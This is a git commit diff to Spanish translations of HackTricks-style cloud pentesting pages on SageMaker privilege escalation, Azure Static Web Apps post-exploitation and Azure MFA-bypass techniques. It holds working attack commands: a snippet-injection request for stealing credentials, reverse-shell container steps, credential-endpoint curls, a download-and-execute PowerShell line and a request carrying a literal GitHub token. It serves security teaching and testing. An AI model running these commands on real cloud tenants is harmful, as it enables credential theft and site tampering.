Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:57:41 +00:00
parent b7de7fcbda
commit 39b4264a34
5 changed files with 287 additions and 16 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -19,7 +19,7 @@ aws sagemaker create-presigned-notebook-instance-url \
```
Navega a la URL con el navegador y haz clic en \`Open JupyterLab\` en la parte superior derecha, luego desplázate hacia abajo a la pestaña “Launcher” y en la sección “Other”, haz clic en el botón “Terminal”.
Ahora es posible acceder a las credenciales de metadatos del Rol IAM.
Ahora es posible acceder a las credenciales de metadatos del rol IAM.
**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado.
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
### `sagemaker:CreateProcessingJob,iam:PassRole`
Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol de IAM adjunto**.
Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol IAM adjunto**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**. Por lo tanto, el atacante podrá robar las credenciales del rol.
Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**. Por lo tanto, el ataque podrá robar las credenciales del rol.
> [!WARNING]
> Este escenario es más difícil de explotar que el anterior porque necesitas generar una imagen de Docker que enviará el rev shell o las credenciales directamente al atacante (no puedes indicar un comando de inicio en la configuración del trabajo de entrenamiento).
@@ -71,7 +71,7 @@ Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecut
> cd /tmp/rev
> sudo docker build . -t reverseshell
>
> # Sube esto a ECR
> # Sube a ECR
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Un atacante con esos permisos podrá (potencialmente) crear un **trabajo de entrenamiento de hiperparámetros**, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**.\
&#xNAN;_&#x49; no he explotado debido a la falta de tiempo, pero parece similar a las explotaciones anteriores, siéntete libre de enviar un PR con los detalles de la explotación._
_No he explotado debido a la falta de tiempo, pero parece similar a las explotaciones anteriores, siéntete libre de enviar un PR con los detalles de la explotación._
## Referencias

View File

@@ -0,0 +1,162 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
Para más información sobre este servicio, consulta:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
Es posible hacer que una página web estática cargue código HTML arbitrario creando un snippet. Esto podría permitir a un atacante inyectar código JS dentro de la aplicación web y robar información sensible como credenciales o claves mnemotécnicas (en billeteras web3).
El siguiente comando crea un snippet que siempre será cargado por la aplicación web::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Leer Credenciales de Terceros Configuradas
Como se explicó en la sección de App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Ejecutando el siguiente comando es posible **leer las credenciales de terceros** configuradas en la cuenta actual. Ten en cuenta que si, por ejemplo, algunas credenciales de Github están configuradas en un usuario diferente, no podrás acceder al token desde otro.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Este comando devuelve tokens para Github, Bitbucket, Dropbox y OneDrive.
Aquí tienes algunos ejemplos de comandos para verificar los tokens:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Sobrescribir archivo - Sobrescribir rutas, HTML, JS...
Es posible **sobrescribir un archivo dentro del repositorio de Github** que contiene la aplicación a través de Azure enviando un **token de Github** con una solicitud como la siguiente, que indicará la ruta del archivo a sobrescribir, el contenido del archivo y el mensaje de confirmación.
Esto puede ser abusado por atacantes para básicamente **cambiar el contenido de la aplicación web** para servir contenido malicioso (robar credenciales, claves mnemotécnicas...) o simplemente para **redirigir ciertas rutas** a sus propios servidores sobrescribiendo el archivo `staticwebapp.config.json`.
> [!WARNING]
> Tenga en cuenta que si un atacante logra comprometer el repositorio de Github de alguna manera, también puede sobrescribir el archivo directamente desde Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
Con este permiso, es posible **modificar la contraseña** que protege una aplicación web estática o incluso desproteger cada entorno enviando una solicitud como la siguiente:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
Este permiso permite obtener el **token de despliegue de clave API** para la aplicación estática.
Este token permite desplegar la aplicación.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Luego, para actualizar una aplicación, podrías ejecutar el siguiente comando. Ten en cuenta que este comando fue extraído al verificar **cómo funciona Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, ya que es el que Azure configuró por defecto para usar. Así que la imagen y los parámetros podrían cambiar en el futuro.
1. Descarga el repositorio [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o cualquier otro repositorio que desees desplegar) y ejecuta `cd react-basic`.
2. Cambia el código que deseas desplegar.
3. Despliega ejecutando (recuerda cambiar el `<api-token>`):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
Con este permiso es posible **cambiar la fuente de la aplicación web estática a un repositorio de Github diferente**, sin embargo, no se aprovisionará automáticamente ya que esto debe hacerse desde una Acción de Github, generalmente con el token que autorizó la acción, ya que este token no se actualiza automáticamente dentro de los secretos de Github del repositorio (se agrega automáticamente solo cuando se crea la aplicación).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
Con este permiso es posible **restablecer la clave API de la aplicación web estática**, potencialmente DoSing los flujos de trabajo que implementan automáticamente la aplicación.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Información Básica
Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso correctos en las circunstancias adecuadas.\
Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso correctos bajo las circunstancias adecuadas.\
Las políticas de acceso condicional **definen** **Quién** puede acceder a **Qué** desde **Dónde** y **Cómo**.
Aquí hay un par de ejemplos:
@@ -23,7 +23,7 @@ También es necesario configurar las **condiciones** que **activarán** la polí
- **Red**: IP, rangos de IP y ubicaciones geográficas
- Puede ser eludida usando una VPN o Proxy para conectarse a un país o logrando iniciar sesión desde una dirección IP permitida
- **Riesgos de Microsoft**: Riesgo del usuario, riesgo de inicio de sesión, riesgo interno
- **Plataformas de dispositivos**: Cualquier dispositivo o seleccionar Android, iOS, Windows Phone, Windows, macOS, Linux
- **Plataformas de dispositivos**: Cualquier dispositivo o seleccionar Android, iOS, Windows phone, Windows, macOS, Linux
- Si “Cualquier dispositivo” no está seleccionado pero todas las otras opciones están seleccionadas, es posible eludirlo usando un user-agent aleatorio no relacionado con esas plataformas
- **Aplicaciones cliente**: Las opciones son “Navegador”, “Aplicaciones móviles y clientes de escritorio”, “Clientes de Exchange ActiveSync” y “Otros clientes”
- Para eludir el inicio de sesión con una opción no seleccionada
@@ -33,20 +33,20 @@ También es necesario configurar las **condiciones** que **activarán** la polí
Los posibles **resultados** son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea conforme…
### Plataformas de Dispositivos - Condición de Dispositivo
### Plataformas de Dispositivos - Condición del Dispositivo
Es posible establecer una condición basada en la **plataforma del dispositivo** (Android, iOS, Windows, macOS...), sin embargo, esto se basa en el **user-agent** por lo que es fácil de eludir. Incluso **haciendo que todas las opciones exijan MFA**, si usas un **user-agent que no es reconocido,** podrás eludir el MFA o el bloqueo:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Simplemente haciendo que el navegador **envíe un user-agent desconocido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) es suficiente para no activar esta condición.\
Puedes cambiar el user-agent **manualmente** en las herramientas de desarrollo:
Puedes cambiar el user agent **manualmente** en las herramientas de desarrollador:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;O usar una [extensión de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
O usar una [extensión de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Ubicaciones: Países, rangos de IP - Condición de Dispositivo
### Ubicaciones: Países, rangos de IP - Condición del Dispositivo
Si esto está configurado en la política condicional, un atacante podría simplemente usar una **VPN** en el **país permitido** o intentar encontrar una manera de acceder desde una **dirección IP permitida** para eludir estas condiciones.
@@ -59,7 +59,7 @@ Es posible configurar **políticas de acceso condicional para bloquear o forzar*
Para intentar eludir esta protección, deberías ver si puedes **iniciar sesión solo en cualquier aplicación**.\
La herramienta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tiene **decenas de IDs de aplicación codificados** y intentará iniciar sesión en ellas y te informará e incluso te dará el token si tiene éxito.
Para **probar IDs de aplicación específicos en recursos específicos**, también podrías usar una herramienta como:
Con el fin de **probar IDs de aplicación específicos en recursos específicos**, también podrías usar una herramienta como:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
@@ -69,7 +69,7 @@ Además, también es posible proteger el método de inicio de sesión (por ejemp
La herramienta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) también podría usarse para propósitos similares, aunque parece no estar mantenida.
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede usar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva de **caja blanca**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede usar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva **whitebox**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
## Otras elusiones de Az MFA
@@ -78,7 +78,7 @@ La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se p
Una opción de Azure MFA es **recibir una llamada en el número de teléfono configurado** donde se le pedirá al usuario que **envíe el carácter `#`**.
> [!CAUTION]
> Como los caracteres son solo **tonos**, un atacante podría **comprometer** el mensaje de **buzón de voz** del número de teléfono, configurar como mensaje el **tono de `#`** y luego, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al buzón de voz.
> Como los caracteres son solo **tonos**, un atacante podría **comprometer** el **mensaje de voz** del número de teléfono, configurar como mensaje el **tono de `#`** y luego, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al correo de voz.
### Dispositivos compatibles
@@ -116,7 +116,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo se configuren las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo estén configuradas las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -135,7 +135,7 @@ Esta herramienta ha ayudado a identificar bypasses de MFA y luego abusar de APIs
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los consultores de seguridad que necesitan validar las Políticas de Acceso Condicional, pruebas para portales de Microsoft habilitados para 2FA, etc..
Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los consultores de seguridad que necesitan validar las Políticas de Acceso Condicional, pruebas para portales de Microsoft habilitados para 2FA, etc.
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force

View File

@@ -0,0 +1,109 @@
# Az - Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica sobre Aplicaciones Web Estáticas
Azure Static Web Apps es un servicio en la nube para alojar **aplicaciones web estáticas con CI/CD automático desde repositorios como GitHub**. Ofrece entrega de contenido global, backends sin servidor y HTTPS integrado, lo que lo hace seguro y escalable. Sin embargo, los riesgos incluyen CORS mal configurado, autenticación insuficiente y manipulación de contenido, lo que puede exponer las aplicaciones a ataques como XSS y filtración de datos si no se gestionan adecuadamente.
> [!TIP]
> Cuando se crea una Aplicación Estática, puedes elegir la **política de autorización de despliegue** entre **Token de despliegue** y **flujo de trabajo de GitHub Actions**.
### Autenticación de la Aplicación Web
Es posible **configurar una contraseña** para acceder a la Aplicación Web. La consola web permite configurarla para proteger solo los entornos de staging o tanto el de staging como el de producción.
Así es como, en el momento de escribir, se ve una aplicación web protegida por contraseña:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
Es posible ver **si se está utilizando alguna contraseña** y qué entornos están protegidos con:
```bash
az rest --method GET \
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
```
Sin embargo, esto **no mostrará la contraseña en texto claro**, solo algo como: `"password": "**********************"`.
### Rutas
Las rutas definen **cómo se manejan las solicitudes HTTP entrantes** dentro de una aplicación web estática. Configuradas en el **`staticwebapp.config.json`** archivo, controlan la reescritura de URL, redirecciones, restricciones de acceso y autorización basada en roles, asegurando un manejo adecuado de recursos y seguridad.
Algunos ejemplos:
```json
{
"routes": [
{
"route": "/",
"rewrite": "/index.html"
},
{
"route": "/about",
"rewrite": "/about.html"
},
{
"route": "/api/*",
"allowedRoles": ["authenticated"]
},
{
"route": "/admin",
"redirect": "/login",
"statusCode": 302
}
],
"navigationFallback": {
"rewrite": "/index.html",
"exclude": ["/api/*", "/assets/*"]
}
}
```
## Enumeración
```bash
# List Static Webapps
az staticwebapp list --output table
# Get Static Webapp details
az staticwebapp show --name <name> --resource-group <res-group> --output table
# Get appsettings
az staticwebapp appsettings list --name <name>
# Get env information
az staticwebapp environment list --name <name>
az staticwebapp environment functions --name <name>
# Get API key
az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
```
## Ejemplos para generar aplicaciones web
Puedes encontrar un buen ejemplo para generar una aplicación web en el siguiente enlace: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Haz un fork del repositorio https://github.com/staticwebdev/react-basic/generate a tu cuenta de GitHub y nómbralo `my-first-static-web-app`
2. En el portal de Azure, crea una Aplicación Web Estática configurando el acceso a GitHub y seleccionando el nuevo repositorio previamente bifurcado
3. Créalo, espera unos minutos y ¡verifica tu nueva página!
## Post Explotación
{{#ref}}
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
{{#endref}}
## Referencias
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
{{#include ../../../banners/hacktricks-training.md}}